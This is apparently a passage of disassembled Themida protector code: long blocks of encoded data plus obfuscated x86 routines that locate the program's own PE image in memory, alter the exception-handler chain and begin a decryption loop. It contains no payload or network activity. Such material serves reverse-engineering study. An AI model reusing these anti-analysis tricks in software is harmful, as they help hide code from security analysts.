		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5F10B4	endp

; ---------------------------------------------------------------------------
		dd 0DB2A7BDFh, 468DC428h, 9E820h, 0F6A70000h, 287B9570h
		dd 8A45C864h, 858959D4h, 7FEEC57h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 69C35242h, 0AEAD4BB6h, 68F0Fh
		dd 0B5890000h, 7FA141Dh, 1ABE9h
		db 0, 6Ah
; ---------------------------------------------------------------------------


loc_5F1116:				; CODE XREF: Themida_:005F10A4j
		add	[edx-18h], dl
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 0FCADC123h, 53A458C0h, 2DD981EEh, 407202B6h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 1FC35545h, 0A7D8B012h
		dd 810F1B0Ah, 6, 775958Bh, 8B5707FAh, 605059CEh, 55EBBA66h
		dd 0D921BB66h, 24048961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 3C35343h, 60E13144h, 88CCDF70h, 6A046AA2h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 1BD4C353h, 59A90E94h, 0B9525050h,	6FA07D88h
		dd 14E8310Fh, 0FE000000h, 0A1C695DDh, 91DEBF06h, 0C7EDB290h
		dd 5D16051Ah, 0FEF93ACh, 88h, 585A5F00h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 4C38C357h, 569B531h,	840F07FAh, 6, 1685958Bh, 95FF07FAh
		dd 7FEEC6Bh, 2725BD31h,	0D88B07FAh, 9A58D8Bh, 6A5807FAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0B2F6C353h, 1C998509h, 0D18B07FAh, 840FDB0Bh
		dd 58h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h
		dd 68C35343h, 8B66AD9Eh, 0AFBF66C8h, 3CCE9CDh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0E39028C3h, 0C9773B92h, 899BD8B4h, 0FA184185h, 0D68B6607h
		dd 0F003880h, 0FFFE7685h, 57006AFFh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0B464C426h
		dd 66459B75h, 0E9C0E0BAh, 0Fh, 45BD0150h, 5F07FA01h, 819D3148h
		dd 3B07FA03h, 0FEEC5785h, 70820F07h, 8B000000h,	5C3880FEh
		dd 65840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0FDF7DC3h, 6651D1BFh, 5ACBB3BFh
		dd 0BE9h, 45E05300h, 2C067C4Ch,	91817703h, 0F2F3880h, 0FFFFA385h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 6D514CA8h, 0CD4543F3h, 40D08B66h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 4FC35343h, 8195E9ABh
		dd 0A8B601D1h, 5FBD834Ah, 7FEECh, 14F840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 9589BCC3h, 7FA0399h,	0FA8B6690h, 6A9050h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0CD7B98C3h
		dd 12E8BD2Ah, 0A4000000h, 0CB47D2C6h, 0F97900DDh, 0DD052BC1h
		dd 0B4AFED2Ah, 8F0FD6h,	5F000000h, 0EC5F8503h, 6A07FEh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0CAF063C3h, 89898A24h, 0F525050h, 38Ch, 0D08B6600h
		dd 8B66310Fh, 89585ACEh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0A195F6C3h, 850FBC3Bh
		dd 6, 2901958Bh, 46A07FAh, 13810Fh, 0DE80000h, 0DD000000h
		dd 2F6A767Fh, 8E601FBAh, 27AD3AF3h, 6051505Ah, 3AB5AFB0h
		dd 4895F61h, 49BD8B24h,	0FF07FA17h, 0FEEC6B95h,	0ADBD8907h
		dd 8B07FA06h, 8A58F5D8h, 0FDB0BCBh, 2884h, 0C5BA6600h
		dd 18CE9CBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8B4AF6C3h, 0C6CBh, 3359BD8Bh, 8B5807FAh
		dd 0FA049195h, 0B0BA5007h, 89775C9Ah, 8D292404h, 7FA1E79h
		dd 810F1E6Ah, 5, 52EA8166h, 7E990AEh, 4D000000h, 0C86E588Ah
		dd 0F50523Fh, 382h, 0D78B6600h,	9D958B90h, 0FF07FA32h
		dd 0FEEC6B95h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 5098757Bh, 0CF51DF81h
		dd 8B5A3804h, 0EA8158D8h, 1D147677h, 840FDB0Bh,	2Dh, 5ACB8B52h
		dd 0DDE9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0CB96FDAAh, 8AB96692h, 50509023h
		dd 16ACBA66h, 8B669059h, 4BB5FFCAh, 6007FEECh, 11159589h
		dd 61F807FAh, 0EC4F95FFh, 6A07FEh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0BBA42C3h, 54850FC0h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 5EC1C353h, 665161ADh, 0B094EA81h
		dd 5385C75Fh, 107FEECh,	0F000000h, 168Dh, 9E96000h, 50000000h
		dd 64032B17h, 14408AC5h, 1CA9B589h, 0E96107FAh,	22h, 61CAB70Fh
		dd 2DE2B966h, 11CC681h,	8D0F0000h, 5, 68E98166h, 0F990E9D2h
		dd 0B966FFFFh
		db 56h,	0B1h
; ---------------------------------------------------------------------------


loc_5F165E:				; CODE XREF: Themida_:005F103Ej
					; Themida_:005F1078j
		push	5D6EC756h
		xor	dword ptr [esp], 5D6E4756h
		jmp	loc_5F167F
; ---------------------------------------------------------------------------
		db 45h
		dd 7F8693F5h, 2EB586B9h, 73470ACBh
		db 6Fh,	82h, 15h
; ---------------------------------------------------------------------------


loc_5F167F:				; CODE XREF: Themida_:005F166Aj
		push	0
		sub	[ebp+7FA11A1h],	eax
		push	dword ptr [ebp+7FEEC5Bh]
		push	0
		push	ebp
		call	sub_5F1698
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F1698	proc near		; CODE XREF: Themida_:005F1690p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5F1698	endp

; ---------------------------------------------------------------------------
		dd 0FD1ACF38h, 0EB33186h, 0F9FA8BCEh, 0CE595FFh, 6A07FAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 6FCEFCC3h, 53858B77h, 6A07FEECh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A26FC357h
		dd 85630709h, 11E9C836h, 4A000000h, 0C590DAEAh,	0A49EA1EEh
		dd 66E9BA49h, 0A0BD7F6Ah, 4860F90h, 66000000h, 504AAFB9h
		dd 0F525060h, 860F31h, 5A000000h, 6E858h, 0AFB50000h, 7B8EF8CCh
		dd 7E9h, 0CC8DCC00h, 0E46AFD56h, 33906159h, 0FA190195h
		dd 63858D07h, 0E907FEECh, 0Dh, 0BCFE3CFDh, 705EDA20h, 67B7C1CDh
		dd 810F90EBh, 17h, 11E8h, 49C12700h, 0FC33B55Dh, 7F55846Eh
		dd 0D448A6BEh, 505A4E7Ch, 3515BF66h, 51006A90h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 887F0F69h
		dd 0FC88B66h, 287h, 8DF78A00h, 0FEEC2085h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 8A6FAB05h, 0B650EE62h, 240489BCh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0BBC35141h,	0FD95FFEBh, 8A07FA09h
		dd 66C08BF5h, 83BB20B9h, 0FA16D1BDh, 9750007h, 3535BD83h
		dd 740007FAh, 8B535013h, 4D0B8C0h, 9D8D0000h, 7FD3E15h
		dd 585BD3FFh, 3535BD83h, 740007FAh, 0B8535011h,	4D0h, 3D149D8Dh
		dd 0D3FF07FDh, 0C9B1585Bh, 8B665351h, 8B5A5FCFh, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 6629093Ch, 8B798DBAh, 0BD8958FBh, 7FA19E9h, 660008C2h
		dd 0C08BD78Bh, 1CC3B966h, 0ECA0858Dh, 806007FEh, 8D0FBCC7h
		dd 19h,	14E9h, 96711B00h, 78D93A77h, 2D63EF23h,	0F1C1004h
		dd 59816F88h, 858961BBh, 7FA077Dh, 75E9h, 8C666000h, 0F04A8D8h
		dd 3584h, 0FF016A00h, 0FA1229B5h, 58858D07h, 0FF07FE3Ah
		dd 698589D0h, 8B07FA27h, 0CEFC1FEh, 4000068h, 6A006A20h
		dd 0D685702h, 0FF000100h, 0FA276995h, 32E907h, 85C60000h
		dd 7FA1571h, 30DF6856h,	0B5FFA9C5h, 7FA1E8Dh, 3A58858Dh
		dd 0D0FF07FEh, 18B58589h, 858D07FAh, 7FA0BC5h, 6A206A50h
		dd 95FF5605h, 7FA18B5h,	0E0C1C361h, 0BE806h, 0E7510000h
		dd 8E40C4C2h, 0A06A5193h, 0C7815F8Ah, 6E6Eh, 68CB8B66h
		dd 0
		dd 6E8h, 1D911500h, 0E9290E14h,	5, 0B2DDDD36h, 0F5A5E78h
		dd 48BDAB7h, 0B820F17h,	0F000000h, 58Bh, 0F3EBBB00h, 0C0812DBCh
		dd 3FAD9BFDh, 3890Fh, 0FC560000h, 89E88159h, 0E8685899h
		dd 0Fh,	0E399FE63h, 74666BE5h, 6AAD0FE7h, 8A238B74h, 0E8815EEEh
		dd 62014E7Ah, 0AE9h, 16B46F00h,	0D6FAACEEh, 50C84952h
		dd 0CE8h, 54DF4800h, 11E256BBh,	8955782h, 5BC5B142h, 6617048Fh
		dd 0FA70AB9h, 18Eh, 0EA81F900h,	320B5BBFh, 80F28060h, 7E9h
		dd 8F6EE900h, 2981DFDBh, 0BBC28161h, 66320B5Bh,	8A28C681h
		dd 928CFA81h, 850FFFFFh, 0Bh, 1EE9F8h, 923E0000h, 57913888h
		dd 5847ECB9h, 43E95E41h, 0EDFFFFFFh, 20703B25h,	0CC3C0BCEh
		dd 0FDE4F1F7h, 113000BAh, 0EA81F0h, 83F00000h, 958914C2h
		dd 7FA2B09h, 8D14EA83h,	0FEFFE285h, 0FF645007h,	35h, 25896400h
		dd 0
; ---------------------------------------------------------------------------
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_5F1A79:				; CODE XREF: Themida_:005F1A9Bj
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_5F1A96
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_5F1AA0


loc_5F1A96:				; CODE XREF: Themida_:005F1A7Ej
		sub	eax, 1000h
		jmp	loc_5F1A79
; ---------------------------------------------------------------------------


loc_5F1AA0:				; CODE XREF: Themida_:005F1A90j
		mov	ecx, eax
		mov	[ebp+7FA1E4Dh],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+7FA04D5h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+7FA2845h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+7FA0581h],	edx
		add	edx, [eax+8]
		mov	[ebp+7FA1C19h],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_5F1AF9
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5F1AF9:				; CODE XREF: Themida_:005F1AE1j
		cmp	dword ptr [ebp+7FA09EDh], 0
		jz	loc_5F1B2A
		mov	byte ptr [ebp+7FA1571h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+7FA1E8Dh]
		lea	eax, [ebp+7FE3A58h]
		call	eax	; _adjust_fdiv
		push	0
		call	eax	; _adjust_fdiv
		mov	[ebp+7FA10B5h],	eax


loc_5F1B2A:				; CODE XREF: Themida_:005F1B00j
		mov	edx, ebx
		pusha
		mov	edi, [ebp+7FA14A1h]
		xor	[ebp+7FA26BDh],	eax
		mov	eax, eax
		push	0
		push	esi
		call	sub_5F1B46
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F1B46	proc near		; CODE XREF: Themida_:005F1B3Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5F1B46	endp

; ---------------------------------------------------------------------------
		dw 0C663h
		dd 571F87D7h, 0F8FC788h, 0B58BCBB7h, 7FA2481h, 16D1BD83h
		dd 750007FAh, 35BD8309h, 7FA35h, 53501974h, 38B8C08Bh
		dd 89000004h, 0FA1E2D85h, 0DA9D8D07h, 0FF07FD3Fh, 83585BD3h
		dd 0FA3535BDh, 17740007h, 38B85350h, 89000004h,	0FA1E2D85h
		dd 0C99D8D07h, 0FF07FD3Ch, 0E9585BD3h, 0Bh, 3DCB67D7h
		dd 0D137B2C2h, 6A365DD0h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 8440C356h, 9C4530B7h
		dd 8B5E525Dh, 6AC08BFBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0E392C351h,	192C2414h
		dd 0B70FC427h, 79CE8F9h, 89F50000h, 0FA068D85h,	53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0BF259552h, 68927D99h, 76CE8F5h, 8D2B0000h, 7FA31C5h
		dd 2D458589h, 0B96607FAh, 57E87D1Eh, 3000007h, 0FA31DDBDh
		dd 0C5858907h, 0F807FA28h, 745E8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0F681FDEFh
		dd 6FA5BF53h, 24418589h, 0B58B07FAh, 7FA0BF5h, 711E8h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0BF0FCA71h, 198589F9h, 8B07FA34h, 0FA1E95B5h
		dd 6E0E807h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 5398A4C3h, 0F38B6602h, 2B958589h
		dd 9D3107FAh, 7FA34B1h,	6ADE8h,	0F98B6600h, 25840Fh, 14E80000h
		dd 80000000h, 4BDC922Ah, 78F75D43h, 0D1CC3621h,	0ABCA311Fh
		dd 0E805B85Ah, 5, 0F18DDB95h, 89595982h, 0FA24C585h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 80EC63E0h, 8B664481h, 650E8FEh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 19F0E8C3h
		dd 8BBA65E3h, 0E9B58BF1h, 8907FA05h, 0FA24A185h, 39BD8B07h
		dd 0E807FA19h, 616h, 11E8h, 33E7B800h, 0A823A316h, 34C277AEh
		dd 805CCB08h, 14E94291h, 0D7000000h, 231420F6h,	0F971D46Bh
		dd 0AF12CC09h, 205E8AA3h, 5F0EE4ACh, 0CFD8589h,	6A07FAh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 74C66EC3h, 67F79287h, 9259D01h, 0B3E807FAh, 60000005h
		dd 125D8D8Bh, 816607FAh, 61C258D2h, 5ED8589h, 0B58B07FAh
		dd 7FA119Dh, 93E8F98Bh,	6A000005h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 9E01C357h
		dd 5578CB04h, 89E5628Bh, 0FA265185h, 48C0F07h, 66000000h
		dd 0E86255B9h, 55Ah, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0A0C35040h, 0E90E8BD1h, 13h, 0B6035D37h
		dd 4179F87Dh, 0AA622E9Ah, 8CC636CBh, 89EAC0DEh,	0FA173585h
		dd 0DE816607h, 13E8C56Bh, 6A000005h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 5B70C357h
		dd 8BC68129h, 895191B8h, 0FA185585h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0C661414Eh
		dd 98E98166h, 4C0E86Dh,	0BE660000h, 85896A9Bh, 7FA11F9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 4BC35545h
		dd 0E40D375Eh, 50E10109h, 0D681665Ah, 87E8C472h, 6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 9197C356h, 1963BB2Fh, 0C39F3C2Ch,	10E9h
		dd 140AE600h, 25F0048Dh, 53FF100h, 135C2CB9h, 0F19D8949h
		dd 8907FA07h, 0FA242985h, 0B1B58B07h, 0E807FA1Dh, 436h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0BEC35343h
		dd 0E339951Eh, 5958945h, 8907FA0Ah, 0FA023585h,	14E807h
		dd 0DB5D0000h, 0E5AC9F5h, 0FF44F157h, 2B6BD8A4h, 58B79C17h
		dd 840F4215h, 6, 14E19529h, 0B05907FAh,	0BE800h, 5D230000h
		dd 15614E17h, 76EDBBA1h, 9E888h, 14FE0000h, 3AB217D1h
		dd 0F8D092D6h, 0B60F5E5Fh, 55006AD8h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 674033D9h
		dd 0BD8B6BDAh, 7FA264Dh, 6BAh, 21B58B00h, 8B07FA31h, 50006AC3h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 7C51B13h, 66920EAFh,	0EA9EC981h, 6A04E8C1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0E62C357h, 0C0128FAFh, 28C0F1Eh, 0B1000000h,	0E2F76679h
		dd 2AC18D8Bh, 9D0907FAh, 7FA04B5h, 0E860D82Bh, 0Eh, 0D4980FACh
		dd 912BDD4Ch, 4AE749DBh, 0B70F6073h, 0B70F5FCBh, 8B5061DEh
		dd 241C89FEh, 89E18166h, 2195FF2Ah, 6A07FA17h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0A1EFC355h, 3401BD0Bh, 95B07FAh, 0FA25C59Dh,	0E1958D07h
		dd 6A07FA24h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0F056C352h, 0B6EE8166h, 6E8FEh
		dd 0E3640000h, 22A91906h, 48A0Fh, 0BE660000h, 895E566Bh
		dd 50006A1Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 7EF4AE47h, 89FA8B66h, 85290442h,	7FA0365h
		dd 151D958Dh, 1A8907FAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 2CC35545h, 121F9CFFh,	850FD8B0h, 6, 30DB58Bh
		dd 428907FAh, 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 1ECA4233h, 0A5746C49h, 281958Dh
		dd 6A07FAh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 40719DC3h, 60B438B5h, 11A5B58Bh, 9D0107FAh
		dd 7FA1D99h, 65BD2361h,	8907FA04h, 31B5031Ah, 8907FA09h
		dd 0B70F0442h, 8DF08BCFh, 0FA044195h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 0D9BA99B7h, 6A1A89h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0BE8A2C3h, 0C2000000h, 4F350BCDh
		dd 0F83AB423h, 35E7DFCh, 0FA128D8Dh, 4428907h, 68F0Fh
		dd 0C9810000h, 294BB449h, 2DDD958Dh, 0DE907FAh,	8C000000h
		dd 554303D8h, 14984F24h, 31F11A9Bh, 6A1A89h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 2BF620C3h
		dd 0F956B070h, 8B0FB730h, 3, 0E8F88B66h, 9, 49FA819Eh
		dd 2BF933A0h, 8959F5DDh, 958D0442h, 7FA015Dh, 0B062ABBEh
		dd 6A1A8911h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 7DB6C351h, 428979F8h, 56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 8CD15B78h, 899B589h,	958D07FAh, 7FA2D35h, 0E81A89F8h
		dd 14h,	77AFA6AFh, 0E6CE558Dh, 648B8A7h, 0B8502F60h, 7D24D3FBh
		dd 21D18D8Bh, 8B5F07FAh, 0FA1731BDh, 4428907h, 3898D29h
		dd 0B58B07FAh, 7FA257Dh, 3549958Dh, 0D98107FAh,	34424E3Fh
		dd 95891A89h, 7FA2621h,	6A044289h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0A814C351h
		dd 0C8E9FE8Bh, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0F9B1C350h,	474C76C9h
		dd 0F16F7895h, 3131BD31h, 6A07FAh, 31C5BD23h, 0BD8907FAh
		dd 7FA1851h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 6AEAC3h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0F9C35141h,	0D2E04AE2h, 8E19A5D1h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0DFF6ACC3h, 0B1F19AF2h, 95FF9675h, 7FA0BA9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0F2C35343h
		dd 8AC88AC3h, 57006AC5h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 4CD21D2Fh, 6CA23863h, 9D89DA87h
		dd 7FA03C9h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 88A9DC3h, 0D935C571h, 0BF0F5101h
		dd 0D1BD83FFh, 7FA16h, 0BD830975h, 7FA3535h, 50197400h
		dd 0B8C08B53h, 438h, 112D8589h,	9D8D07FAh, 7FD4041h, 585BD3FFh
		dd 3535BD83h, 740007FAh, 0B8535017h, 438h, 112D8589h, 9D8D07FAh
		dd 7FD3CE2h, 585BD3FFh,	1B818D89h, 6A07FAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0C6B1BC3h
		dd 8BCE8B03h, 0D858DC0h, 5007FA15h, 2850F60h, 60000000h
		dd 4896161h, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 6AF5FFh, 1880Fh, 6AFC0000h, 61852900h
		dd 8D07FA02h, 0FF0C0485h, 5E907h, 27C20000h, 8332F227h
		dd 0BD0905C0h, 7FA2E59h, 50D88B66h, 0CE856h, 2C750000h
		dd 8E5C5918h, 30DA8AB7h, 0CE8B06Eh, 0F1000000h,	0F81E2B24h
		dd 61E6B0E0h, 5B3F103Dh, 4895F5Bh, 79BD2B24h, 6A07FA27h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0CC4F1812h, 92422B98h, 9D8B64E4h, 7FA2895h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 8DFC28C3h, 0CF63F17Ch, 0D88B661Fh, 174D95FFh
		dd 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BF0F31C3h, 0DB8D8DDFh, 6A07FE7Ah, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8940C355h, 0FA030D9Dh, 0E8D1FF07h, 0Ch, 5444715h, 9B21D710h
		dd 98490251h, 0F3A1CFBFh, 8D895F0Dh, 7FA2761h, 27ADBD83h
		dd 0F0107FAh, 9385h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 89C5A840h, 0FA1D25BDh
		dd 8B026A07h, 0FA1D31BDh, 0BE95007h, 4A000000h,	0DF5F57FCh
		dd 4A0D1525h, 489F961h,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 1EB2130Fh, 9D891C21h
		dd 7FA26F9h, 1EF995FFh,	6A07FAh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0EE2180C3h, 0BD894A45h
		dd 7FA2D49h, 0D12E9h, 0E800h, 815D0000h, 0FF0C0EEDh, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 768D1E66h, 8BCC3068h, 0AC3A10BFh, 55006A22h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0A9DE07FEh
		dd 0FE97549h, 87000000h, 3173D178h, 0C5D38AF6h,	0A9779B0Fh
		dd 858D0FC0h, 7FE4FA2h,	80DBB70Fh, 0F901ACFh, 48Ah, 0B0BB6600h
		dd 12E95026h, 0CB000000h, 6479B583h, 3BB4E20Bh,	76CF4441h
		dd 0E4E5523Ah, 6A9061h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0FF64B3C3h, 35h,	0CB816600h, 8964BFC9h
		dd 25h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh,	24448104h
		dd 1604h, 0C3574700h, 89190201h, 0FA00DD8Dh, 2585FF07h
		dd 6A07FA31h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 8250C350h, 4A74CB60h, 800FBB42h
		dd 6, 8719D89h,	0FF6A07FAh, 0B8B2C781h,	0B5FF7EC8h, 7FA068Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8BC35343h
		dd 5E8h, 78C52200h, 8E0F50BFh, 1, 95FF5FFCh, 7FA018Dh
		dd 12EE9h, 0DF816600h, 0B05874h, 0E892E781h, 70E65723h
		dd 0E6D915BFh, 3C71E468h, 10830F61h, 0F000001h,	686h, 79BD8B00h
		dd 0F07FA2Bh, 0BD8BC8B6h, 7FA040Dh, 389BD8Bh, 6BA07FAh
		dd 31000000h, 0FA03C1BDh, 0B8B0F07h, 0E9000000h, 6, 5FE3739h
		dd 0C18BA972h, 0E8C1FB8Bh, 0DE8B6604h, 0FE2F766h, 0C82BD9B7h
		dd 0FBB70F60h, 61F6BF0Fh, 0AC60C381h, 0D18B1040h, 32019D8Bh
		dd 6E907FAh, 8B000000h,	0FA1B8D9Dh, 0E1858B07h,	2307FA24h
		dd 0FA1CDD9Dh, 0CF816607h, 0C083C2D8h, 68C0F07h, 81000000h
		dd 0C880B5F3h, 0C0831Eh, 12E9h,	0D4613F00h, 29E77E67h
		dd 0AFC2A847h, 0A5F26093h, 3B5AB1BCh, 17830FD0h, 8B000000h
		dd 0FA16CDBDh, 59E907h,	85090000h, 7FA0635h, 9E59501h
		dd 8D8B07FAh, 7FA2AF9h,	6810Fh,	8D290000h, 7FA044Dh, 0F01E183h
		dd 3284h, 0C6BF6600h, 0F9A5830Eh, 0FE07FA2Ah, 0FE8h, 19C2900h
		dd 9F77E13Eh, 0FC7DD294h, 493202B0h, 95895BFCh,	7FA24E1h
		dd 23FDBD8Bh, 0E907FAh,	8D000000h, 0FE93B8B5h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 799AEA8Ah, 0F92DB6B3h, 8529006Ah, 7FA1335h, 12D95FFh
		dd 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0ADC123C3h, 0A458C0FCh, 0D6BBEE53h, 0B90F7A4Ch
		dd 72Ch, 0E183FE8Ah, 15BF66FCh,	2BF8FC0Bh, 25BD01C0h, 0BA07FA0Bh
		dd 0
; ---------------------------------------------------------------------------
		movsx	ebx, ax


loc_5F2A23:				; CODE XREF: Themida_:005F2A2Dj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
